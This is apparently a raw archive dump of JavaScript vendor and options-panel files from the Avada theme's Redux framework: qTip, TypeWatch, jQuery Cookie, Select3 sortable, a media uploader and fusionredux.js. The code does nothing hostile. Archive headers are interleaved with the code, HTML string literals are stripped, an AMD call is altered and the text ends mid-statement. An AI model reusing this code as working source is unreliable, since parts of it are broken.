E;switch(o.nodeName){case"ellipse":case"circle":m=R.polys.ellipse(o.cx.baseVal.value,o.cy.baseVal.value,(o.rx||o.r).baseVal.value+r,(o.ry||o.r).baseVal.value+r,e);break;case"line":case"polygon":case"polyline":for(l=o.points||[{x:o.x1.baseVal.value,y:o.y1.baseVal.value},{x:o.x2.baseVal.value,y:o.y2.baseVal.value}],m=[],k=-1,i=l.numberOfItems||l.length;++k';d.extend(x.prototype,{_scroll:function(){var b=this.qtip.elements.overlay;b&&(b[0].style.top=d(a).scrollTop()+"px")},init:function(c){var e=c.tooltip;d("select, object").length<1&&(this.bgiframe=c.elements.bgiframe=d(Bb).appendTo(e),c._bind(e,"tooltipmove",this.adjustBGIFrame,this._ns,this)),this.redrawContainer=d("
    ",{id:S+"-rcontainer"}).appendTo(b.body),c.elements.overlay&&c.elements.overlay.addClass("qtipmodal-ie6fix")&&(c._bind(a,["scroll","resize"],this._scroll,this._ns,this),c._bind(e,["tooltipshow"],this._scroll,this._ns,this)),this.redraw()},adjustBGIFrame:function(){var a,b,c=this.qtip.tooltip,d={height:c.outerHeight(E),width:c.outerWidth(E)},e=this.qtip.plugins.tip,f=this.qtip.elements.tip;b=parseInt(c.css("borderLeftWidth"),10)||0,b={left:-b,top:-b},e&&f&&(a="x"===e.corner.precedance?[I,L]:[J,K],b[a[1]]-=f[a[0]]()),this.bgiframe.css(b).css(d)},redraw:function(){if(this.qtip.rendered<1||this.drawing)return this;var a,b,c,d,e=this.qtip.tooltip,f=this.qtip.options.style,g=this.qtip.options.position.container;return this.qtip.drawing=1,f.height&&e.css(J,f.height),f.width?e.css(I,f.width):(e.css(I,"").appendTo(this.redrawContainer),b=e.width(),1>b%2&&(b+=1),c=e.css("maxWidth")||"",d=e.css("minWidth")||"",a=(c+d).indexOf("%")>-1?g.width()/100:0,c=(c.indexOf("%")>-1?a:1)*parseInt(c,10)||b,d=(d.indexOf("%")>-1?a:1)*parseInt(d,10)||0,b=c+d?Math.min(Math.max(b,d),c):b,e.css(I,Math.round(b)).appendTo(g)),this.drawing=0,this},destroy:function(){this.bgiframe&&this.bgiframe.remove(),this.qtip._unbind([a,this.qtip.tooltip],this._ns)}}),Ab=R.ie6=function(a){return 6===db.ie?new x(a):E},Ab.initialize="render",B.ie6={"^content|style$":function(){this.redraw()}}})}(window,document); //# sourceMappingURL=jquery.qtip.min.js.mapAvada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/vendor/jquery.typewatch.js000064400000004764152342437710026237 0ustar00/* * TypeWatch 2.2 * * Examples/Docs: github.com/dennyferra/TypeWatch * * Copyright(c) 2013 * Denny Ferrassoli - dennyferra.com * Charles Christolini * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ (function(jQuery) { jQuery.fn.typeWatch = function(o) { // The default input types that are supported var _supportedInputTypes = ['TEXT', 'TEXTAREA', 'PASSWORD', 'TEL', 'SEARCH', 'URL', 'EMAIL', 'DATETIME', 'DATE', 'MONTH', 'WEEK', 'TIME', 'DATETIME-LOCAL', 'NUMBER', 'RANGE']; // Options var options = jQuery.extend({ wait: 750, callback: function() { }, highlight: true, captureLength: 2, inputTypes: _supportedInputTypes }, o); function checkElement(timer, override) { var value = jQuery(timer.el).val(); // Fire if text >= options.captureLength AND text != saved text OR if override AND text >= options.captureLength if ((value.length >= options.captureLength && value.toUpperCase() != timer.text) || (override && value.length >= options.captureLength)) { timer.text = value.toUpperCase(); timer.cb.call(timer.el, value); } }; function watchElement(elem) { var elementType = elem.type.toUpperCase(); if (jQuery.inArray(elementType, options.inputTypes) >= 0) { // Allocate timer element var timer = { timer: null, text: jQuery(elem).val().toUpperCase(), cb: options.callback, el: elem, wait: options.wait }; // Set focus action (highlight) if (options.highlight) { jQuery(elem).focus( function() { this.select(); }); } // Key watcher / clear and reset the timer var startWatch = function(evt) { var timerWait = timer.wait; var overrideBool = false; var evtElementType = this.type.toUpperCase(); // If enter key is pressed and not a TEXTAREA and matched inputTypes if (typeof evt.keyCode != 'undefined' && evt.keyCode == 13 && evtElementType != 'TEXTAREA' && jQuery.inArray(evtElementType, options.inputTypes) >= 0) { timerWait = 1; overrideBool = true; } var timerCallbackFx = function() { checkElement(timer, overrideBool) } // Clear timer clearTimeout(timer.timer); timer.timer = setTimeout(timerCallbackFx, timerWait); }; jQuery(elem).on('keydown paste cut input', startWatch); } }; // Watch Each Element return this.each(function() { watchElement(this); }); }; })(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/vendor/cookie.js000064400000004434152342437710024154 0ustar00/*! * jQuery Cookie Plugin v1.3.1 * https://github.com/carhartl/jquery-cookie * * Copyright 2013 Klaus Hartl * Released under the MIT license */ (function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as anonymous module. jQueryCookie.define(['jquery'], factory); } else { // Browser globals. factory(jQuery); } }(function ($) { var pluses = /\+/g; function raw(s) { return s; } function decoded(s) { return decodeURIComponent(s.replace(pluses, ' ')); } function converted(s) { if (s.indexOf('"') === 0) { // This is a quoted cookie as according to RFC2068, unescape s = s.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, '\\'); } try { return config.json ? JSON.parse(s) : s; } catch(er) {} } var config = $.cookie = function (key, value, options) { // write if (value !== undefined) { options = $.extend({}, config.defaults, options); if (typeof options.expires === 'number') { var days = options.expires, t = options.expires = new Date(); t.setDate(t.getDate() + days); } value = config.json ? JSON.stringify(value) : String(value); return (document.cookie = [ config.raw ? key : encodeURIComponent(key), '=', config.raw ? value : encodeURIComponent(value), options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE options.path ? '; path=' + options.path : '', options.domain ? '; domain=' + options.domain : '', options.secure ? '; secure' : '' ].join('')); } // read var decode = config.raw ? raw : decoded; var cookies = document.cookie.split('; '); var result = key ? undefined : {}; for (var i = 0, l = cookies.length; i < l; i++) { var parts = cookies[i].split('='); var name = decode(parts.shift()); var cookie = decode(parts.join('=')); if (key && key === name) { result = converted(cookie); break; } if (!key) { result[name] = converted(cookie); } } return result; }; config.defaults = {}; $.removeCookie = function (key, options) { if ($.cookie(key) !== undefined) { // Must not alter options, thus extending a fresh object... $.cookie(key, '', $.extend({}, options, { expires: -1 })); return true; } return false; }; }));includes/lib/inc/redux/framework/FusionReduxCore/assets/js/vendor/fusionredux.select3.sortable.js000064400000012770152342437710030354 0ustar00Avada/** * jQuery Select3 Sortable * - enable select3 to be sortable via normal select element * * author : Vafour * modified : Kevin Provance (kprovance) * inspired by : jQuery Chosen Sortable (https://github.com/mrhenry/jquery-chosen-sortable) * License : GPL */ (function ($) { $.fn.extend({ select3SortableOrder: function () { var $this = this.filter('[multiple]'); $this.each(function () { var $select = $(this); // skip elements not select3-ed if (typeof ($select.data('select3')) !== 'object') { return false; } var $select3 = $select.siblings('.select3-container'); var sorted; // Opt group names var optArr = []; $select.find('optgroup').each(function(idx, val) { optArr.push (val); }); $select.find('option').each(function(idx, val) { var groupName = $(this).parent('optgroup').prop('label'); var optVal = this; if (groupName === undefined) { if (this.value !== '' && !this.selected) { optArr.push (optVal); } } }); sorted = $($select3.find('.select3-choices li[class!="select3-search-field"]').map(function () { if (!this) { return undefined; } if($(this).data('select3Data') != undefined){ var id = $(this).data('select3Data').id; return $select.find('option[value="' + id + '"]')[0]; } //var id = $(this).data('select3Data').id; //return $select.find('option[value="' + id + '"]')[0]; })); sorted.push.apply(sorted, optArr); $select.children().remove(); $select.append(sorted); }); return $this; }, select3Sortable: function () { var args = Array.prototype.slice.call(arguments, 0); $this = this.filter('[multiple]'), validMethods = ['destroy']; if (args.length === 0 || typeof (args[0]) === 'object') { var defaultOptions = { bindOrder: 'formSubmit', // or sortableStop sortableOptions: { placeholder: 'ui-state-highlight', items: 'li:not(.select3-search-field)', tolerance: 'pointer' } }; var options = $.extend(defaultOptions, args[0]); // Init select3 only if not already initialized to prevent select3 configuration loss if (typeof ($this.data('select3')) !== 'object') { $this.select3(); } $this.each(function () { var $select = $(this) var $select3choices = $select.siblings('.select3-container').find('.select3-choices'); // Init jQuery UI Sortable $select3choices.sortable(options.sortableOptions); switch (options.bindOrder) { case 'sortableStop': // apply options ordering in sortstop event $select3choices.on("sortstop.select3sortable", function (event, ui) { $select.select3SortableOrder(); }); $select.on('change', function (e) { $(this).select3SortableOrder(); }); break; default: // apply options ordering in form submit $select.closest('form').unbind('submit.select3sortable').on('submit.select3sortable', function () { $select.select3SortableOrder(); }); break; } }); } else if (typeof (args[0] === 'string')) { if ($.inArray(args[0], validMethods) == -1) { throw "Unknown method: " + args[0]; } if (args[0] === 'destroy') { $this.select3SortableDestroy(); } } return $this; }, select3SortableDestroy: function () { var $this = this.filter('[multiple]'); $this.each(function () { var $select = $(this) var $select3choices = $select.parent().find('.select3-choices'); // unbind form submit event $select.closest('form').unbind('submit.select3sortable'); // unbind sortstop event $select3choices.unbind("sortstop.select3sortable"); // destroy select3Sortable $select3choices.sortable('destroy'); }); return $this; } }); }(jQuery));lib/inc/redux/framework/FusionReduxCore/assets/js/vendor/fusionredux.select3.sortable.min.js000064400000003574152342437710031140 0ustar00Avada/includes!function(a){a.fn.extend({select3SortableOrder:function(){var b=this.filter("[multiple]");return b.each(function(){var b=a(this);if("object"!=typeof b.data("select3"))return!1;var c,d=b.siblings(".select3-container"),e=[];b.find("optgroup").each(function(a,b){e.push(b)}),b.find("option").each(function(b,c){var d=a(this).parent("optgroup").prop("label"),f=this;void 0===d&&(""===this.value||this.selected||e.push(f))}),c=a(d.find('.select3-choices li[class!="select3-search-field"]').map(function(){if(this&&void 0!=a(this).data("select3Data")){var c=a(this).data("select3Data").id;return b.find('option[value="'+c+'"]')[0]}})),c.push.apply(c,e),b.children().remove(),b.append(c)}),b},select3Sortable:function(){var b=Array.prototype.slice.call(arguments,0);if($this=this.filter("[multiple]"),validMethods=["destroy"],0===b.length||"object"==typeof b[0]){var c={bindOrder:"formSubmit",sortableOptions:{placeholder:"ui-state-highlight",items:"li:not(.select3-search-field)",tolerance:"pointer"}},d=a.extend(c,b[0]);"object"!=typeof $this.data("select3")&&$this.select3(),$this.each(function(){var b=a(this),c=b.siblings(".select3-container").find(".select3-choices");switch(c.sortable(d.sortableOptions),d.bindOrder){case"sortableStop":c.on("sortstop.select3sortable",function(a,c){b.select3SortableOrder()}),b.on("change",function(b){a(this).select3SortableOrder()});break;default:b.closest("form").unbind("submit.select3sortable").on("submit.select3sortable",function(){b.select3SortableOrder()})}})}else if(b[0],!0){if(-1==a.inArray(b[0],validMethods))throw"Unknown method: "+b[0];"destroy"===b[0]&&$this.select3SortableDestroy()}return $this},select3SortableDestroy:function(){var b=this.filter("[multiple]");return b.each(function(){var b=a(this),c=b.parent().find(".select3-choices");b.closest("form").unbind("submit.select3sortable"),c.unbind("sortstop.select3sortable"),c.sortable("destroy")}),b}})}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/media/media.min.js000064400000006033152342437710024323 0ustar00!function(a){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.media=fusionredux.field_objects.media||{};var b;a(document).ready(function(){}),fusionredux.field_objects.media.init=function(c){c||(c=a(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-media:visible")),a(c).each(function(){var c=a(this),d=c;c.hasClass("fusionredux-field-container")||(d=c.parents(".fusionredux-field-container:first")),d.is(":hidden")||d.hasClass("fusionredux-field-init")&&(d.removeClass("fusionredux-field-init"),b=!1,c.find(".remove-image, .remove-file").unbind("click").on("click",function(){fusionredux.field_objects.media.removeFile(a(this).parents("fieldset.fusionredux-field:first"))}),c.find(".media_upload_button").unbind().on("click",function(b){fusionredux.field_objects.media.addFile(b,a(this).parents("fieldset.fusionredux-field:first"))}))})},fusionredux.field_objects.media.addFile=function(c,d){c.preventDefault();var e,f,g=a(this);if(e)return void e.open();var h=a(d).find(".library-filter").data("lib-filter");void 0!==h&&""!==h&&(f=[],b=!0,h=decodeURIComponent(h),h=JSON.parse(h),a.each(h,function(a,b){f.push(b)})),e=wp.media({multiple:!1,library:{type:f},title:g.data("choose"),button:{text:g.data("update")}}),e.on("select",function(){var c=e.state().get("selection").first();e.close();var f=a(d).find(".data").data();if(void 0!==fusionredux.field_objects.media&&void 0!==typeof fusionredux.field_objects.media||(fusionredux.field_objects.media={}),void 0!==f&&"undefined"!==f.mode||(f={},f.mode="image"),!0===b&&(f.mode=0),0===f.mode);else if(!1!==f.mode&&c.attributes.type!==f.mode&&c.attributes.subtype!==f.mode)return;d.find(".upload").val(c.attributes.url),d.find(".upload-id").val(c.attributes.id),d.find(".upload-height").val(c.attributes.height),d.find(".upload-width").val(c.attributes.width),fusionredux_change(a(d).find(".upload-id"));var g=c.attributes.url;if(void 0!==c.attributes.sizes&&void 0!==c.attributes.sizes.thumbnail)g=c.attributes.sizes.thumbnail.url;else if(void 0!==c.attributes.sizes){var h=c.attributes.height;for(var i in c.attributes.sizes){var j=c.attributes.sizes[i];j.height').slideDown("fast"),d.find(".remove-image").removeClass("hide"),d.find(".fusionredux-background-properties").slideDown()}),e.open()},fusionredux.field_objects.media.removeFile=function(b){if(b.find(".remove-image").addClass("hide")){b.find(".remove-image").addClass("hide"),b.find(".upload").val(""),b.find(".upload-id").val(""),b.find(".upload-height").val(""),b.find(".upload-width").val(""),b.find(".upload-thumbnail").val(""),fusionredux_change(a(b).find(".upload-id")),b.find(".fusionredux-background-properties").hide();b.find(".screenshot").slideUp(),b.find(".remove-file").unbind(),b.find(".section-upload .upload-notice").length>0&&b.find(".media_upload_button").remove()}}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/media/media.js000064400000017567152342437710023557 0ustar00/*global fusionredux_change, wp, fusionredux, libFilter */ /** * Media Uploader * Dependencies : jquery, wp media uploader * Feature added by : Smartik - http://smartik.ws/ * Date : 05.28.2013 */ (function($){ "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.media = fusionredux.field_objects.media || {}; var isFiltered; $( document ).ready( function() { } ); fusionredux.field_objects.media.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-media:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } isFiltered = false; // Remove the image button el.find( '.remove-image, .remove-file' ).unbind( 'click' ).on( 'click', function() { fusionredux.field_objects.media.removeFile( $( this ).parents( 'fieldset.fusionredux-field:first' ) ); } ); // Upload media button el.find( '.media_upload_button' ).unbind().on( 'click', function( event ) { fusionredux.field_objects.media.addFile( event, $( this ).parents( 'fieldset.fusionredux-field:first' ) ); } ); } ); }; // Add a file via the wp.media function fusionredux.field_objects.media.addFile = function( event, selector ) { event.preventDefault(); var frame; var jQueryel = $( this ); var libFilter; // If the media frame already exists, reopen it. if ( frame ) { frame.open(); return; } // Get library filter data var filter = $( selector ).find('.library-filter').data('lib-filter'); // Must exist to do decoding if (filter !== undefined) { if (filter !== ''){ libFilter = []; isFiltered = true; filter = decodeURIComponent(filter); filter = JSON.parse(filter); $.each(filter, function(index, value) { libFilter.push(value); }); } } // Create the media frame. frame = wp.media( { multiple: false, library: { type: libFilter //Only allow images }, // Set the title of the modal. title: jQueryel.data( 'choose' ), // Customize the submit button. button: { // Set the text of the button. text: jQueryel.data( 'update' ) // Tell the button not to close the modal, since we're // going to refresh the page when the image is selected. } } ); // When an image is selected, run a callback. frame.on( 'select', function() { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); frame.close(); var data = $( selector ).find('.data').data(); if ( typeof fusionredux.field_objects.media === 'undefined' || typeof fusionredux.field_objects.media === undefined ) { fusionredux.field_objects.media = {}; } if ( data === undefined || data.mode === 'undefined' ) { data = {}; data.mode = "image"; } if (isFiltered === true) { data.mode = 0; } if (data.mode === 0) { } else { if ( data.mode !== false) { if (attachment.attributes.type !== data.mode) { if (attachment.attributes.subtype !== data.mode ) { return; } } } } selector.find( '.upload' ).val( attachment.attributes.url ); selector.find( '.upload-id' ).val( attachment.attributes.id ); selector.find( '.upload-height' ).val( attachment.attributes.height ); selector.find( '.upload-width' ).val( attachment.attributes.width ); fusionredux_change( $( selector ).find( '.upload-id' ) ); var thumbSrc = attachment.attributes.url; if ( typeof attachment.attributes.sizes !== 'undefined' && typeof attachment.attributes.sizes.thumbnail !== 'undefined' ) { thumbSrc = attachment.attributes.sizes.thumbnail.url; } else if ( typeof attachment.attributes.sizes !== 'undefined' ) { var height = attachment.attributes.height; for ( var key in attachment.attributes.sizes ) { var object = attachment.attributes.sizes[key]; if ( object.height < height ) { height = object.height; thumbSrc = object.url; } } } else { thumbSrc = attachment.attributes.icon; } selector.find( '.upload-thumbnail' ).val( thumbSrc ); if ( !selector.find( '.upload' ).hasClass( 'noPreview' ) ) { selector.find( '.screenshot' ).empty().hide().append( '' ).slideDown( 'fast' ); } //selector.find('.media_upload_button').unbind(); selector.find( '.remove-image' ).removeClass( 'hide' );//show "Remove" button selector.find( '.fusionredux-background-properties' ).slideDown(); } ); // Finally, open the modal. frame.open(); }; // Function to remove the image on click. Still requires a save fusionredux.field_objects.media.removeFile = function( selector ) { // This shouldn't have been run... if ( !selector.find( '.remove-image' ).addClass( 'hide' ) ) { return; } selector.find( '.remove-image' ).addClass( 'hide' );//hide "Remove" button selector.find( '.upload' ).val( '' ); selector.find( '.upload-id' ).val( '' ); selector.find( '.upload-height' ).val( '' ); selector.find( '.upload-width' ).val( '' ); selector.find( '.upload-thumbnail' ).val( '' ); fusionredux_change( $( selector ).find( '.upload-id' ) ); selector.find( '.fusionredux-background-properties' ).hide(); var screenshot = selector.find( '.screenshot' ); // Hide the screenshot screenshot.slideUp(); selector.find( '.remove-file' ).unbind(); // We don't display the upload button if .upload-notice is present // This means the user doesn't have the WordPress 3.5 Media Library Support if ( selector.find( '.section-upload .upload-notice' ).length > 0 ) { selector.find( '.media_upload_button' ).remove(); } }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/fusionredux.js000064400000165275152342437710023774 0ustar00/* global fusionredux, confirm, relid:true, jsonView */ (function( $ ) { 'use strict'; $.fusionredux = $.fusionredux || {}; $( document ).ready( function() { $.fn.isOnScreen = function() { if ( !window ) { return; } var win = $( window ); var viewport = { top: win.scrollTop(), }; viewport.right = viewport.left + win.width(); viewport.bottom = viewport.top + win.height(); var bounds = this.offset(); bounds.right = bounds.left + this.outerWidth(); bounds.bottom = bounds.top + this.outerHeight(); return (!(viewport.right < bounds.left || viewport.left > bounds.right || viewport.bottom < bounds.top || viewport.top > bounds.bottom)); }; $.fusionredux.hideFields(); $.fusionredux.checkRequired(); $.fusionredux.initEvents(); $.fusionredux.initQtip(); $.fusionredux.tabCheck(); $.fusionredux.notices(); $.fusionredux.tabControl(); } ); $.fusionredux.ajax_save = function( button ) { var overlay = $( document.getElementById( 'fusionredux_ajax_overlay' ) ); overlay.fadeIn(); // Add the loading mechanism jQuery( '.fusionredux-action_bar .spinner' ).addClass( 'is-active' ); jQuery( '.fusionredux-action_bar input, .awb-ignore' ).attr( 'disabled', 'disabled' ); var $notification_bar = jQuery( document.getElementById( 'fusionredux_notification_bar' ) ); $notification_bar.slideUp(); jQuery( '.fusionredux-save-warn' ).slideUp(); jQuery( '.fusionredux_ajax_save_error' ).slideUp( 'medium', function() { jQuery( this ).remove(); } ); var $parent = jQuery( document.getElementById( "fusionredux-form-wrapper" ) ); // Editor field doesn't auto save. Have to call it. Boo. if ( fusionredux.fields.hasOwnProperty( "editor" ) ) { $.each( fusionredux.fields.editor, function( $key, $index ) { if (typeof(tinyMCE) !== 'undefined') { var editor = tinyMCE.get( $key ); if ( editor ) { editor.save(); } } } ); } var $data = $parent.serialize(); // add values for checked and unchecked checkboxes fields $parent.find( 'input[type=checkbox]' ).each( function() { if ( typeof $( this ).attr( 'name' ) !== "undefined" ) { var chkVal = $( this ).is( ':checked' ) ? $( this ).val() : "0"; $data += "&" + $( this ).attr( 'name' ) + "=" + chkVal; } } ); if ( button.attr( 'name' ) != "fusionredux_save" ) { $data += "&" + button.attr( 'name' ) + "=" + button.val(); } var $nonce = $parent.attr( "data-nonce" ); jQuery.ajax( { type: "post", dataType: "json", url: ajaxurl, data: { action: fusionredux.args.opt_name + "_ajax_save", nonce: $nonce, _wp_http_referer: $parent.find( '> [name=_wp_http_referer]:first' ).val(), 'opt_name': fusionredux.args.opt_name, data: $data } } ) .fail( function( response ) { if ( !window.console ) console = {}; console.log = console.log || function( name, data ) { }; console.log( fusionredux.ajax.console ); console.log( response.responseText ); jQuery( '.fusionredux-action_bar input, .awb-ignore' ).removeAttr( 'disabled' ); overlay.fadeOut( 'fast' ); jQuery( '.fusionredux-action_bar .spinner' ).removeClass( 'is-active' ); alert( fusionredux.ajax.alert ); } ) .done( function( response ) { if ( response.action && response.action == "reload" ) { location.reload( true ); } else if ( response.status == "success" ) { jQuery( '.fusionredux-action_bar input, .awb-ignore' ).removeAttr( 'disabled' ); overlay.fadeOut( 'fast' ); jQuery( '.fusionredux-action_bar .spinner' ).removeClass( 'is-active' ); fusionredux.options = response.options; //fusionredux.defaults = response.defaults; fusionredux.errors = response.errors; fusionredux.warnings = response.warnings; $notification_bar.html( response.notification_bar ).slideDown( 'fast' ); if ( response.errors !== null || response.warnings !== null ) { $.fusionredux.notices(); } var $save_notice = $( document.getElementById( 'fusionredux_notification_bar' ) ).find( '.saved_notice' ); $save_notice.slideDown(); $save_notice.delay( 4000 ).slideUp(); } else { jQuery( '.fusionredux-action_bar input, .awb-ignore' ).removeAttr( 'disabled' ); jQuery( '.fusionredux-action_bar .spinner' ).removeClass( 'is-active' ); overlay.fadeOut( 'fast' ); jQuery( '.wrap h2:first' ).parent().append( '' ); jQuery( '.fusionredux_ajax_save_error' ).slideDown(); jQuery( "html, body" ).animate( {scrollTop: 0}, "slow" ); } } ); return false; }; $.fusionredux.initEvents = function() { $( '.fusionredux-presets-bar' ).on( 'click', function() { window.onbeforeunload = null; } ); $( '#toplevel_page_' + fusionredux.args.slug + ' .wp-submenu a, #wp-admin-bar-' + fusionredux.args.slug + ' a.ab-item' ).on( 'click', function( e ) { if ( ( $( '#toplevel_page_' + fusionredux.args.slug ).hasClass( 'wp-menu-open' ) || $( this ).hasClass( 'ab-item' ) ) && !$( this ).parents( 'ul.ab-submenu:first' ).hasClass( 'ab-sub-secondary' ) && $( this ).attr( 'href' ).toLowerCase().indexOf( fusionredux.args.slug + "&tab=" ) >= 0 ) { e.preventDefault(); var url = $( this ).attr( 'href' ).split( '&tab=' ); $( '#' + url[1] + '_section_group_li_a' ).click(); $( this ).parents( 'ul:first' ).find( '.current' ).removeClass( 'current' ); $( this ).addClass( 'current' ); $( this ).parent().addClass( 'current' ); return false; } } ); // Save button clicked $( '.fusionredux-action_bar input' ).on( 'click', function( e ) { if ( $( this ).attr( 'name' ) == fusionredux.args.opt_name + '[defaults]' ) { // Defaults button clicked if ( !confirm( fusionredux.args.reset_confirm ) ) { return false; } } else if ( $( this ).attr( 'name' ) == fusionredux.args.opt_name + '[defaults-section]' ) { // Default section clicked if ( !confirm( fusionredux.args.reset_section_confirm ) ) { return false; } } window.onbeforeunload = null; if ( fusionredux.args.ajax_save === true ) { $.fusionredux.ajax_save( $( this ) ); e.preventDefault(); } } ); // //// Default button clicked //$( 'input[name="' + fusionredux.args.opt_name + '[defaults]"]' ).click( // function() { // if ( !confirm( fusionredux.args.reset_confirm ) ) { // return false; // } // window.onbeforeunload = null; // } //); //$( 'input[name="' + fusionredux.args.opt_name + '[defaults-section]"]' ).click( // function() { // if ( !confirm( fusionredux.args.reset_section_confirm ) ) { // return false; // } // // window.onbeforeunload = null; // } //); //$( '.fusionredux-save' ).click( // function() { // window.onbeforeunload = null; // } //); $( '.expand_options' ).on( 'click', function( e ) { e.preventDefault(); var container = $( '.fusionredux-container' ); if ( $( container ).hasClass( 'fully-expanded' ) ) { $( container ).removeClass( 'fully-expanded' ); var tab = $.cookie( "fusionredux_current_tab" ); $( '.fusionredux-container:first' ).find( '#' + tab + '_section_group' ).fadeIn( 200, function() { if ( $( '.fusionredux-container:first' ).find( '#fusionredux-footer' ).length !== 0 ) { $.fusionredux.stickyInfo(); // race condition fix } $.fusionredux.initFields(); } ); } $.fusionredux.expandOptions( $( this ).parents( '.fusionredux-container:first' ) ); return false; } ); if ( $( '.saved_notice' ).is( ':visible' ) ) { $( '.saved_notice' ).slideDown(); } var stickyHeight = $( '#fusionredux-footer' ).height(); $( '#fusionredux-sticky-padder' ).css( { height: stickyHeight } ); $( '#fusionredux-footer-sticky' ).removeClass( 'hide' ); if ( $( '#fusionredux-footer' ).length !== 0 ) { $( window ).on( 'scroll', function() { $.fusionredux.stickyInfo(); } ); $( window ).on( 'resize', function() { $.fusionredux.stickyInfo(); } ); } $( '.saved_notice' ).delay( 4000 ).slideUp(); }; $.fusionredux.hideFields = function() { $( "label[for='fusionredux_hide_field']" ).each( function( idx, val ) { var tr = $( this ).parent().parent(); $( tr ).addClass( 'hidden' ); } ); }; $.fusionredux.checkRequired = function() { $.fusionredux.required(); // todo: fix for Fusion-Beta issue : 155. WIP var $parent = $( "#fusionredux-form-wrapper" ); $parent.serialize(); $.fusionredux.check_active_tab_dependencies(); $( "body" ).on( 'change', '.fusionredux-field input, .fusionredux-field textarea, .fusionredux-field select, .fusionredux-main select, .fusionredux-main radio, .fusionredux-main input[type=checkbox], .fusionredux-main input[type=hidden]', function( e ) { if ( ! $( this ).hasClass( 'noUpdate' ) ) { fusionredux_change( $( this ) ); } } ); $( 'td > fieldset:empty,td > div:empty' ).parent().parent().hide(); }; $.fusionredux.initQtip = function() { if ( $().qtip ) { // Shadow var shadow = ''; var tip_shadow = fusionredux.args.hints.tip_style.shadow; if ( tip_shadow === true ) { shadow = 'qtip-shadow'; } // Color var color = ''; var tip_color = fusionredux.args.hints.tip_style.color; if ( tip_color !== '' ) { color = 'qtip-' + tip_color; } // Rounded var rounded = ''; var tip_rounded = fusionredux.args.hints.tip_style.rounded; if ( tip_rounded === true ) { rounded = 'qtip-rounded'; } // Tip style var style = ''; var tip_style = fusionredux.args.hints.tip_style.style; if ( tip_style !== '' ) { style = 'qtip-' + tip_style; } var classes = shadow + ',' + color + ',' + rounded + ',' + style + ',fusionredux-qtip'; classes = classes.replace( /,/g, ' ' ); // Get position data var myPos = fusionredux.args.hints.tip_position.my; var atPos = fusionredux.args.hints.tip_position.at; // Gotta be lowercase, and in proper format myPos = $.fusionredux.verifyPos( myPos.toLowerCase(), true ); atPos = $.fusionredux.verifyPos( atPos.toLowerCase(), false ); // Tooltip trigger action var showEvent = fusionredux.args.hints.tip_effect.show.event; var hideEvent = fusionredux.args.hints.tip_effect.hide.event; // Tip show effect var tipShowEffect = fusionredux.args.hints.tip_effect.show.effect; var tipShowDuration = fusionredux.args.hints.tip_effect.show.duration; // Tip hide effect var tipHideEffect = fusionredux.args.hints.tip_effect.hide.effect; var tipHideDuration = fusionredux.args.hints.tip_effect.hide.duration; $( 'div.fusionredux-dev-qtip' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: { effect: function() { $( this ).slideDown( 500 ); }, event: 'mouseover', }, hide: { effect: function() { $( this ).slideUp( 500 ); }, event: 'mouseleave', }, style: { classes: 'qtip-shadow qtip-light', }, position: { my: 'top center', at: 'bottom center', }, } ); } ); $( 'div.fusionredux-hint-qtip' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: { effect: function() { switch ( tipShowEffect ) { case 'slide': $( this ).slideDown( tipShowDuration ); break; case 'fade': $( this ).fadeIn( tipShowDuration ); break; default: $( this ).show(); break; } }, event: showEvent, }, hide: { effect: function() { switch ( tipHideEffect ) { case 'slide': $( this ).slideUp( tipHideDuration ); break; case 'fade': $( this ).fadeOut( tipHideDuration ); break; default: $( this ).hide( tipHideDuration ); break; } }, event: hideEvent, }, style: { classes: classes, }, position: { my: myPos, at: atPos, }, } ); } ); // }); $( 'input[qtip-content]' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: 'focus', hide: 'blur', style: classes, position: { my: myPos, at: atPos, }, } ); } ); } }; $.fusionredux.tabCheck = function() { $( '.fusionredux-group-tab-link-a' ).on( 'click', function() { var link = $( this ); if ( link.parent().hasClass( 'empty_section' ) && link.parent().hasClass( 'hasSubSections' ) ) { var elements = $( this ).closest( 'ul' ).find( '.fusionredux-group-tab-link-a' ); var index = elements.index( this ); link = elements.slice( index + 1, index + 2 ); } var el = link.parents( '.fusionredux-container:first' ); var relid = link.data( 'rel' ); // The group ID of interest var oldid = el.find( '.fusionredux-group-tab-link-li.active:first .fusionredux-group-tab-link-a' ).data( 'rel' ); if ( oldid === relid ) { return; } $( '#currentSection' ).val( relid ); if ( !link.parents( '.postbox-container:first' ).length ) { // Set the proper page cookie $.cookie( 'fusionredux_current_tab', relid, { expires: 7, path: '/' } ); } if ( el.find( '#' + relid + '_section_group_li' ).parents( '.fusionredux-group-tab-link-li' ).length ) { var parentID = el.find( '#' + relid + '_section_group_li' ).parents( '.fusionredux-group-tab-link-li' ).attr( 'id' ).split( '_' ); parentID = parentID[0]; } el.find( '#toplevel_page_' + fusionredux.args.slug + ' .wp-submenu a.current' ).removeClass( 'current' 